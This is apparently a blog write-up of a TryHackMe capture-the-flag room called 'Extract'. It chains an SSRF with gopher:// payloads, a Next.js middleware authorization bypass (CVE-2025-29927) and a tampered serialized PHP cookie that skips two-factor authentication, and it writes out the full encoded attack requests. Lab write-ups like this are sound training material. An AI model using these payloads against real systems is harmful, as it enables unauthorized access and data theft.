The librarian rushed some final changes to the web application before heading off on holiday. In the process, they accidentally left sensitive information behind! Your challenge is to find and exploit the vulnerabilities in the application to extract these secrets.

THM Room: https://tryhackme.com/room/extract

Note: Maybe the stars haven’t lined up right, but for me, this box is highly fragile. Even several parallel HTTP requests knock the box down, and it becomes unresponsive to pings for several minutes. Handle with care!

Reconnaissance

Let us start with an old good port scan:

We have two open ports: 80 (Apache) and 22 (OpenSSH). We will likely not need the latter, so let us concentrate on the web server.

When we open the site, we immediately see the possibility for SSRF (server-side request forgery): preview.php is passed the url parameter with the URL of the file to render.

We can also notice that the server name is cvssm1, and we add it to /etc/hosts.

We will also run a site scan to check for hidden files or directories:

gobuster dir -u http://cvssm1/ -w /usr/share/wordlists/dirb/big.txt -t 8 -x php

The server is configured not to show directory listings; we therefore cannot see what is inside of /javascript/ and /pdf/.

The /management/ directory looks promising, but, unfortunately, we cannot access it yet.

We either need to log in or access the directory from a trusted location.

Exploiting SSRF Vulnerability

Let us check whether the SSRF we found is exploitable. We will create a test PHP file and serve it over HTTP. Then we point preview.php to that file and see what happens.

echo '<?php phpinfo(); ?>' > test.php
python3 -m http.server 8000

What are the conclusions?

  1. The SSRF vulnerability does exist: we tricked the server into downloading the file we control.
  2. The server renders the result as is: it did not try to interpret the file as PHP code. This is actually the expected result: the room level is Hard, and if this trick worked, it would be too easy.

What else can we do? Let us try the classic: read the /etc/passwd file; maybe we can retrieve some usernames to brute force SSH passwords.

That did not work out either: the script is smart enough to block the file:// protocol.

file://etc/passwd and file:///etc/passwd do not work. Neither does FILE:///: the script probably lowercases the string first.

What else do we have? We have the /management directory; it is time to try to access it.

It is, however, meaningless to try any credentials:

The login form has to be submitted via POST; with this SSRF, we can only use GET.

Let us check if there are other web backends listening to the localhost interface. We can use the fuzz capability of gobuster:

seq 65535 > ports.txt
gobuster dir \
    -u 'http://cvssm1/preview.php?url=http://127.0.0.1:FUZZ/ \
    -w ports.txt -t 32 -xl 0

We see two ports: 80 (this is what we are working with) and 10000:

We can also see that this is a Next.js-based application:

The application uses Next.js framework

There is an interesting “API” link. However, it does not work:

It could be protected by some authentication. It would be nice to see what exactly is happening under the hood.

Using Gopher to Exploit SSRF

Enters Gopher. This protocol is defined in RFC 1436. It works over TCP and boils down to this:

gopher://host:port/_data

When you connect to a Gopher server, the client sends a short request followed by \r\n, and the server replies with data. This makes it a Swiss army knife for SSRF attacks: we can use gopher:// as a way to craft arbitrary TCP payloads, not to talk to a real Gopher server.

Let us spin up Burp Suite and experiment. We want to issue this request to the hidden backend:

GET /customapi HTTP/1.1
Host: 127.0.0.1:10000

We will need to connect to 127.0.0.1:10000; therefore, the first part of the request will be gopher://127.0.0.1:10000/_. We must always specify the port because the default Gopher port is 70, not 80.

Now we need to encode the payload. Remember that the end-of-line sequence is \r\n (%0D%0A):

GET%20/customapi%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1:10000%0D%0A%0D%0A

In Burp, we can type the raw request and then press Ctrl-U to make it URL-encode the data.

The request now looks like this:

gopher://127.0.0.1:10000/_GET%20/customapi%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1:10000%0D%0A%0D%0A

Now we need to pass it as a value to the url variable. And to do that, we must URL-encode it once again.

The final HTTP request will be

GET /preview.php?url=gopher://127.0.0.1:10000/_GET%2520/customapi%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1:10000%250D%250A%250D%250A HTTP/1.1
Host: cvssm1

You can see the decoded request in the Inspector section.

We can see that we are redirected to the home page. This explains why /customapi did not seem to work: the application handled the redirect and showed the home page. Gopher, on the other hand, does not handle redirects, and we see the 307 Temporary Redirect response. The 307 response code suggests that this may be due to an unauthenticated request.

We know that some versions of Next.js are affected by the CVE-2025-29927 vulnerability. It allows an attacker to bypass authorization checks in a Next.js application when those checks occur in middleware. There is an excellent walkthrough on THM that shows how to exploit this vulnerability.

Let us try to exploit it. What we need to do is to add a x-middleware-subrequest: middleware header to the request:

GET /preview.php?url=gopher://127.0.0.1:10000/_GET%2520/customapi%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1:10000%250D%250Ax-middleware-subrequest%253A%2520middleware%250D%250A%250D%250A HTTP/1.1
Host: cvssm1

We now have credentials to log in to the management interface. And we have the first flag.

Chasing the Second Flag

Now that we have the credentials, we need to log into the Management interface. And we have to use Gopher again to send the form.

The request we need to issue is

POST /management/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 39
Content-Type: application/x-www-form-urlencoded

username=librarian&password=PASSWORD

(replace the PASSWORD with the actual value)

The encoded request will be

GET /preview.php?url=gopher://127.0.0.1:80/_POST%2520/management/%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%252039%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Ausername=librarian%2526password=PASSWORD__%250D%250A HTTP/1.1
Host: cvssm1
Login request and response

The server responded with a cookie and a redirect to 2fa.php (two-factor authentication, judging by the name).

The cookie we got was

auth_token=O%3A9%3A%22AuthToken%22%3A1%3A%7Bs%3A9%3A%22validated%22%3Bb%3A0%3B%7D

The decoded version will be

auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}

That’s a serialized representation of a PHP object of the following shape:

class AuthToken {
    public $validated = false;
}

If we want to set $validated to true, we need to replace the b:0 string with b:1.

Let us try to do that and see if we can skip the two-factor authentication:

GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Cookie: auth_token=O%3A9%3A%22AuthToken%22%3A1%3A%7Bs%3A9%3A%22validated%22%3Bb%3A1%3B%7D; PHPSESSID=1heloqhel49sauq1kk4qsc77m4
Host: cvssm1

The value of the PHPSESSID cookie must obviously match the value the server has sent us.

The request will be

GET /preview.php?url=gopher://127.0.0.1:80/_GET%2520/management/2fa.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250ACookie%253A%2520auth_token%3dO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A1%25253B%25257D;%2520PHPSESSID%3d1heloqhel49sauq1kk4qsc77m4%250D%250A%250D%250A HTTP/1.1
Host: cvssm1

Success! And, we have the second flag!

Write-up: Extract
Tagged on:                 

Leave a Reply

Your email address will not be published. Required fields are marked *